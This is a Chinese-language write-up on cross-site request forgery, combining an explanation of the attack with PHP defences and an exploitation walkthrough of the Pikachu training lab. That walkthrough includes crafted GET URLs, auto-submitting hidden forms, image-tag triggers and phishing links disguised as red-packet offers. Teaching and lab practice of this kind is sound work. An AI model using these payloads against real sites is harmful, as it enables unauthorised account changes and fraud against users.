Pikachu靶场-CSRF
CSRF (跨站请求伪造) 详细介绍与技术分析
一、什么是 CSRF?
CSRF（Cross-Site Request Forgery，跨站请求伪造），是一种利用已认证用户的身份，诱使该用户执行恶意操作的攻击手段。攻击者通过伪造一个用户请求，冒充用户进行操作，最终导致用户在不知情的情况下执行恶意请求。与 XSS（跨站脚本攻击）不同，CSRF 不需要用户浏览器执行恶意代码，而是通过直接发送伪造请求来完成攻击。
二、CSRF 攻击的基本原理
CSRF 攻击的关键在于利用用户在目标站点上的认证信息（如 Cookie），欺骗用户在不知情的情况下发起操作请求。这类攻击的攻击者并不直接控制用户的浏览器，而是通过让用户的浏览器发出请求来达到攻击目的。
攻击流程概述：
- 用户登录目标网站：用户通过用户名和密码登录到一个支持 Cookie 或 Session 的网站（比如在线银行、社交平台等）。
- 攻击者诱导用户访问恶意网站：攻击者通过电子邮件、社交媒体、或钓鱼网站等方式，诱使已登录的用户访问其精心设计的恶意页面。
- 恶意页面向目标网站发送请求：攻击者的恶意页面通常包含一个指向目标站点的请求（如修改密码、转账、删除账户等），这个请求会携带用户的认证信息（如 Cookie）。
- 目标网站执行请求：目标网站因无法区分请求是否为恶意发起，便执行了攻击者伪造的请求。最终，攻击者达到自己的目的（例如修改用户的个人信息、转账等）。
攻击的核心要素：
- 受害者的身份认证：CSRF 攻击依赖于用户已经在目标网站上进行了身份验证，且认证信息通常通过 Cookie 机制进行存储和传递。用户已经登录并有足够的权限，攻击者就能利用用户的身份进行伪造请求。
- 请求伪造：攻击者伪造了用户请求，通常是通过一些技术手段（如提交隐藏表单、构造带有恶意参数的 URL、利用图片请求等）来触发恶意操作。
- 无意识的用户：CSRF 攻击的受害者通常没有察觉自己已被攻击，因为攻击不需要用户的任何交互动作。用户可能只是点击了一个链接或打开了一个网页，恶意请求就在背后悄无声息地完成。
三、CSRF 攻击的实例
1. 修改用户信息
假设某个社交网站的用户资料可以通过如下的 HTTP 请求修改：
| POST /update_profile HTTP/1.1 username=newuser&email=newuser@example.com&password=newpassword |
攻击者可以通过以下方式诱使已登录的用户发起修改请求：
- 攻击者构造恶意网页，其中包含如下内容：
| <html> |
- 用户点击恶意链接，由于用户已经在 example.com 登录，浏览器会自动带上 Cookie（session_id=abcd1234），从而提交伪造的请求。目标网站无法区分是正常用户发起的请求还是恶意请求，因此会错误地修改用户信息。
2. 银行转账攻击
假设一个在线银行的转账请求通过以下 HTTP 请求实现：
| POST /transfer HTTP/1.1 amount=1000&to_account=attacker_account |
攻击者可以通过构造一个恶意网页，诱使用户点击按钮进行资金转账：
| <html> |
当用户在银行站点上登录并打开恶意页面时，浏览器会携带用户的身份认证信息（如 session_id）并提交转账请求，导致资金转账到攻击者账户。
四、如何防止 CSRF 攻击？
防御 CSRF 攻击通常需要从多个角度进行考虑，主要有以下几种防护方法：
1. 使用 CSRF Token（防御最有效的方式）
在每个敏感请求（如修改密码、提交表单等）中引入 CSRF Token。Token 是一个唯一且随机生成的字符串，每个请求都必须包含该 Token，且 Token 在服务器端存储并与请求验证。
- 生成 Token： 服务器在生成页面时，随机生成一个 CSRF Token，将其存储在服务器端，并将该 Token 插入到页面中作为一个隐藏字段。
<?php
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
?>
<form action="update_profile.php" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>" />
<!-- 表单字段 -->
<input type="submit" value="Update Profile" />
</form>
- 验证 Token： 服务器收到表单请求时，验证请求中提交的 CSRF Token 是否与服务器端存储的 Token 匹配。
<?php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed.');
}
// 继续处理请求
?>
这种方式通过确保每次请求都需要带上唯一的 Token，有效地防止了 CSRF 攻击，因为攻击者无法获得合法的 Token。
2. SameSite Cookie 属性
SameSite 是一种新的 Cookie 属性，用于防止第三方网站通过跨站点请求伪造攻击来发送 Cookie。通过将 SameSite 设置为 Strict 或 Lax，可以有效避免浏览器在跨站请求时发送 Cookie。
- SameSite=Strict：只有在当前网站直接访问时，浏览器才会发送 Cookie。即使用户点击了来自其他网站的链接，Cookie 也不会发送。
- SameSite=Lax：只要用户从当前网站直接访问或通过 GET 请求进行请求，浏览器会发送 Cookie。
- SameSite=None：如果设置为 None，则可以在跨站请求中发送 Cookie，但必须同时设置 Secure（即 HTTPS）。
Set-Cookie: session_id=abcd1234; SameSite=Strict; Secure
3. 使用 Referer 或 Origin 验证
服务器可以检查请求中的 Referer 或 Origin HTTP 头部，以确认请求是否来自可信来源。这个方法可以确保请求是从同一站点发起的，而不是来自恶意站点。
<?php
$referer = $_SERVER['HTTP_REFERER'];
$origin = $_SERVER['HTTP_ORIGIN'];
if (strpos($referer, "Example Domain") === false && strpos($origin, "Example Domain") === false) {
die('Invalid referer or origin.');
}
// 继续处理请求
?>
4. 双重验证（如 OTP）
在执行重要操作时（如修改账户信息或资金转账），要求用户输入二次验证信息，例如通过邮件或短信发送一次性密码（OTP）。这样即使攻击者通过 CSRF 发起请求，也需要获取第二次验证的信息才能完成操作。
五、总结
CSRF 攻击是一种相对简单但非常危险的攻击方式，它依赖于用户的身份认证信息，通过伪造用户请求来进行攻击。防御 CSRF 攻击的有效方法包括使用 CSRF Token、利用 SameSite Cookie 属性、验证 Referer 或 Origin 头部、以及使用双重身份验证等。
CSRF攻击流程分析
- 用户认证
用户登录目标网站（如银行），服务器颁发会话Cookie，浏览器保存该凭证。 - 漏洞存在
目标网站未部署CSRF防护措施（如CSRF Token、同源验证等）。 - 构造恶意请求
攻击者伪造目标网站的关键操作请求（如转账），并设计自动触发方式（如隐藏表单、图片标签）。 - 设置陷阱
攻击者创建包含恶意请求的页面或链接，并通过钓鱼邮件、恶意广告等方式诱导用户访问。 - 用户触发请求
用户访问陷阱页面，浏览器自动发送恶意请求（携带已保存的会话Cookie）。 - 服务器处理请求
目标服务器验证Cookie有效，误认为请求合法并执行操作（如转账）。 - 攻击完成
恶意操作成功执行，用户数据或资产被篡改。
| +-------------------+ +---------------------+ +-----------------------+ |
一，GET型CSRF
1，通过提示拿到一些用户名密码
登录成功
看看修改个人信息的功能
2，然后使用burpsuite抓取修改信息操作时候存在的请求包
CSRF漏洞分析及利用方式
漏洞存在性分析
- 关键操作使用GET请求
- 示例请求为GET方法，参数包含敏感操作（如修改用户信息）。
- 风险：GET请求可通过URL、图片标签、链接等自动触发，无需用户交互，易被CSRF利用。
- 缺乏CSRF防护机制
- 请求中未包含CSRF Token、自定义Header或双重验证。
- 服务器仅依赖Cookie（PHPSESSID）验证身份，未检查请求来源的合法性。
- Cookie未设置SameSite属性
- Cookie未启用SameSite=Strict或Lax，跨站请求时会自动携带会话凭证。
- Referer检查不严格
- 请求的Referer字段指向同域页面，但若服务器未严格验证Referer（如允许空Referer或子域），攻击者可绕过。
漏洞利用方式
攻击者可构造恶意页面或链接，诱导已登录用户访问，触发自动请求。
步骤示例：
- 构造恶意请求
修改URL参数，指向攻击目标：
http://192.168.23.154/06/vul/csrf/csrfget/csrf_get_edit.php?
sex=attacker&
phonenum=123456&
add=attack_address&
email=attacker@example.com&
submit=submit
- 生成一个短链接供受害者点击:https://monojson.com/s/6YsuL
个人信息成功被修改
- 设计触发方式
- 图片标签自动加载（无需用户点击）：
<img src="https://monojson.com/s/6YsuL" />
隐藏表单自动提交（通过JS触发）：
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://monojson.com/s/6YsuL" method="GET" target="csrf-frame">
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>
- 钓鱼链接诱导点击：
<a href="https://monojson.com/s/6YsuL">点击领取红包</a>
诱导用户访问陷阱
通过钓鱼邮件、恶意广告、论坛帖子等传播陷阱页面。 - 触发攻击
用户访问陷阱页面时，浏览器自动发送携带Cookie的GET请求，服务器误认为合法操作并执行修改。
源代码分析
1. 使用GET请求处理敏感操作（退出登录）
// csrf_get.php 中处理退出的代码
if(isset($_GET['logout']) && $_GET['logout'] == 1){
session_unset();
session_destroy();
setcookie(session_name(),'',time()-3600,'/');
header("location:csrf_get_login.php");
}
- 漏洞成因：
通过$_GET['logout']参数直接触发退出登录操作，攻击者可构造恶意链接（如http://site/csrf_get.php?logout=1）强制用户退出会话。
2. 个人信息修改功能未防护CSRF
// 页面中生成修改个人信息链接的代码
<a class="edit" href="csrf_get_edit.php">修改个人信息</a>
- 漏洞成因：
假设csrf_get_edit.php通过GET/POST处理数据修改时未校验请求来源或使用CSRF Token，攻击者可构造恶意请求直接修改用户信息。
3. 缺乏全局CSRF防御机制
- 无Token验证：
代码中未在任何敏感操作（如退出、修改信息）中使用CSRF Token。 - 未校验Referer：
未检查请求头中的Referer字段是否来自合法源。 - Cookie未设置SameSite属性：
Session Cookie未启用SameSite=Strict/Lax，导致浏览器自动携带Cookie到跨站请求中。
总结
关键漏洞代码集中在：
- GET型敏感操作（如退出登录）
- 未防护的修改功能入口（如csrf_get_edit.php的调用）
- 缺失的CSRF防御逻辑（Token、Referer、Cookie加固）
二，POST型CSRF
1，网站的功能是一样的，只不过提交请求的方式变成了POST型
- 无CSRF Token防护：请求参数中未包含动态生成的Token，攻击者可直接伪造请求。
- 依赖Session Cookie身份验证：仅通过PHPSESSID Cookie验证用户身份，未设置SameSite属性，浏览器会跨域自动携带Cookie。
- 未校验Referer/Origin：虽然请求头包含Origin和Referer，但服务端未验证其合法性（允许任意来源）。
2. 攻击可行性
- 修改用户敏感信息（性别、手机、地址、邮箱）的操作通过简单POST请求完成，可直接用HTML表单构造。
- 攻击者可诱骗已登录用户访问恶意页面，自动提交伪造请求，实现信息篡改。
构造自动提交的HTML表单
| <!-- 托管在攻击者服务器 http://192.168.99.74.com/exploit.html --> |
2. 短链诱导用户点击
<!-- 伪装成正常链接诱导点击 -->
<a href="https://monojson.com/s/GtCeu">点击领取红包</a>
3. 利用效果
- 用户访问恶意页面后，表单自动提交，其个人信息会被修改为攻击者预设的值。
- 由于浏览器自动携带Cookie，服务端认为这是用户的合法操作。
三，CSRF之token
1，抓包分析漏洞存在
漏洞存在理由
1. 敏感操作使用GET请求
GET /06/vul/csrf/csrftoken/token_get_edit.php?sex=1&...&token=770206800c173d308b183726581&submit=submit
- 问题：修改用户信息（性别、手机号、地址等）通过GET请求完成，参数直接暴露在URL中。即使有Token，攻击者仍可诱导用户访问恶意链接触发操作。
2. Token泄露风险
- Token传递方式不安全：Token通过URL参数明文传输（token=770206800c173d308b183726581），可能被浏览器历史记录、Referer头、日志等泄露。
- Token可被预测/重放：若Token生成算法不安全（如时间戳哈希、弱随机数），攻击者可能预测或重放有效Token。
3. 缺乏其他防御措施
- 未校验Referer/Origin头：未验证请求来源是否为合法域名，攻击者可构造跨域请求。
- Cookie未设置SameSite属性：Session Cookie（PHPSESSID）未启用SameSite=Lax/Strict，跨域请求仍会携带Cookie。
漏洞验证与利用
攻击场景
假设用户已登录系统，且攻击者通过某种方式获取了当前用户的Token（例如诱导用户访问恶意页面窃取Token，或Token生成算法可预测）。